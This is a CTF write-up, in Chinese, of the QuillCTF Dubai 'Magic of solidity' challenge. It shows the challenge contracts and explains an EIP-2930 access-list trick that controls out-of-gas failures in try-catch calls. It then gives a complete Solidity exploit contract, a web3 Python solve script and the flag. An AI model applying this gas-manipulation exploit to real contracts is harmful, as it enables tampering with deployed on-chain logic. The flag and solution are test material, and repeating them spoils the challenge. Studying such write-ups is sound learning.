跳转至
2023 | QuillCTF Dubai | MultiConcept

Magic of solidity

题目

Are you a sorcerer? Cast your magic and retrieve the flag.

Challenge.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

/**
 *                                                          
 *               ,          /)           /) ,   /) ,       
 *   ___   _   _      _    ___//    _   ___//    _(/   _/_    
 *   // (_(_(_(_/__(_(__  (_)/(_   /_)_(_)(/__(_(_(__(_(__(_/_
 *           .-/            /)                           .-/  
 *       (_/            (/                           (_/   
 *
 * @author jinu.eth < https://twitter.com/lj1nu >
 */

import {CrackMe} from "./CrackMe.sol";

contract Challenge {
    bool public isSolved;

    constructor () {
        isSolved = false;
    }

    function solve() public { 
        bytes32 salt = keccak256(abi.encodePacked(block.number));
        uint gasInput = gasleft() / 1500;

        uint sum = 1;

        for(uint i=1;i<=11;i++){
            salt = keccak256(abi.encodePacked(salt, sum));
            CrackMe answ = new CrackMe{salt: salt}();
            try answ.getValue{gas: gasInput}( i ) returns(uint256 value) {
                sum *= (sum + value);
            } catch (bytes memory) {
            } 
        }

        require(sum == 0x997fecf7193572c88c27ea9af4653249258);

        isSolved = true;
    }
}
CrackMe.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

contract CrackMe {
    uint a0;
    uint a1;

    mapping(uint=>uint) public c;

    constructor () {
        a0 = block.number;
        a1 = block.chainid;
    }

    function getValue(uint n) public view returns(uint) {
        return n + a0 * a1 * c[a0] * c[a1] * c[a0+a1] + c[a0/a1];
    }

    function setValue(uint offset, uint value) public {
        c[offset] = value;
    }
}

解题思路

  • 在函数 solve() 的执行期间,没有受控函数,因此无法调用 CrackMesetValue() 函数,映射 c 中的值将始终为 0
  • 0x997fecf7193572c88c27ea9af4653249258 恰好是仅 \(2,3,5,6,7,9,11\) 参与计算能够取得的结果,因此,不需要设置 CrackMe 中映射 c 的值,而是需要调节 gas 使得 answ.getValue()
  • 而函数 solve() 中,每次调用 answ.getValue() 设置的 gas 值都是固定的 gasInput
  • 为了减轻 EIP-2929 导致的 gas 费用增加所可能带来的风险,EIP-2930 介绍了访问列表。访问列表能够将指定的地址和存储槽加入到 accessed_addressesaccessed_storage_keys 集合中,并预付冷地址和冷存储的附加 gas,从而减少执行所需的 gas
  • 通过访问列表改变 answ.getValue() 执行所需的 gas,并利用 Out of Gas 和 try-catch 结构来控制 sum 的计算

解题脚本

contract MagicOfSolidityHack {
    MagicOfSolidity magic;
    bool[11] checkList = [false, true, true, false, true, true, true, false, true, false, true];

    constructor(address _magic) {
        magic = MagicOfSolidity(_magic);
    }

    function isSolved() external view returns (bool) {
        return magic.isSolved();
    }

    function _getAddress(bytes32 salt, uint256 sum) internal view returns (bytes32, address) {
        salt = keccak256(abi.encodePacked(salt, sum));
        // @note It'll compile to different bytecode in different environments, use the creationCode in the MagicOfSolidity contract bytecode to get this code hash
        bytes32 h = keccak256(abi.encodePacked(bytes1(0xff), address(magic), salt, bytes32(0x3c8add5ea685c69ff7292af8f866aba3ab2f5cb76a93d58837ba938ed8456b54)));
        return (salt, address(uint160(uint256(h))));
    }

    function getCrackAddress(uint bn) external view returns (address[] memory cracks) {
        cracks = new address[](11);
        bytes32 salt = keccak256(abi.encodePacked(bn));
        uint sum = 1;
        for (uint i = 1; i <= 11; i++) {
            (salt, cracks[i - 1]) = _getAddress(salt, sum);
            if (checkList[i - 1]) {
                sum *= (sum + i);
            }
        }
    }

    function exploit(uint256 bn) external {
        require(bn == block.number);
        magic.solve{gas: 15000000}();
    }
}
import os
from dotenv import load_dotenv
from web3 import Web3
from cheb3 import Connection
from cheb3.utils import compile_file

load_dotenv("../.env")

def get_slot(key):
    return Web3.solidity_keccak(['uint256', 'uint256'], [key, 2]).hex()

check_list = [False, True, True, False, True, True, True, False, True, False, True]

conn = Connection('http://challA0.quillctf.kalos.xyz:8545')
account = conn.account(os.getenv("PRIVATE_KEY"))
magic_addr = "0xc64e9De7D3809074EEFf0d22B058623e047475B9"

hack_abi, hack_bin = compile_file(
    "MagicOfSolidityHack.sol",
    solc_version="0.8.9",
    base_path="../"
)['MagicOfSolidityHack']
hack = conn.contract(account, abi=hack_abi, bytecode=hack_bin)
hack.deploy(magic_addr)

chain_id = conn.w3.eth.chain_id
block_number = conn.w3.eth.block_number + 2
addresses = hack.functions.getCrackAddress(block_number).call()
slots = [
    get_slot(block_number),
    get_slot(chain_id),
    get_slot(block_number + chain_id),
    get_slot(block_number // chain_id),
]
access_list = []
for i in range(11):
    if check_list[i]:
        access_list.append({
            'address': addresses[i],
            'storageKeys': slots
        })
while conn.w3.eth.block_number < block_number:
    try:
        hack.functions.exploit(block_number).send_transaction(gas_limit=18 * 10 ** 6, access_list=access_list)
    except Exception as e:
        print(e)
        continue

print(hack.functions.isSolved().call())

Flag

flag{451c55fb18d8a00027721f45dff19112c52725534465cde0f956fe2e74be7647}

参考资料


最后更新: 2024年10月20日 23:14:15
Contributors: YanhuiJessica

评论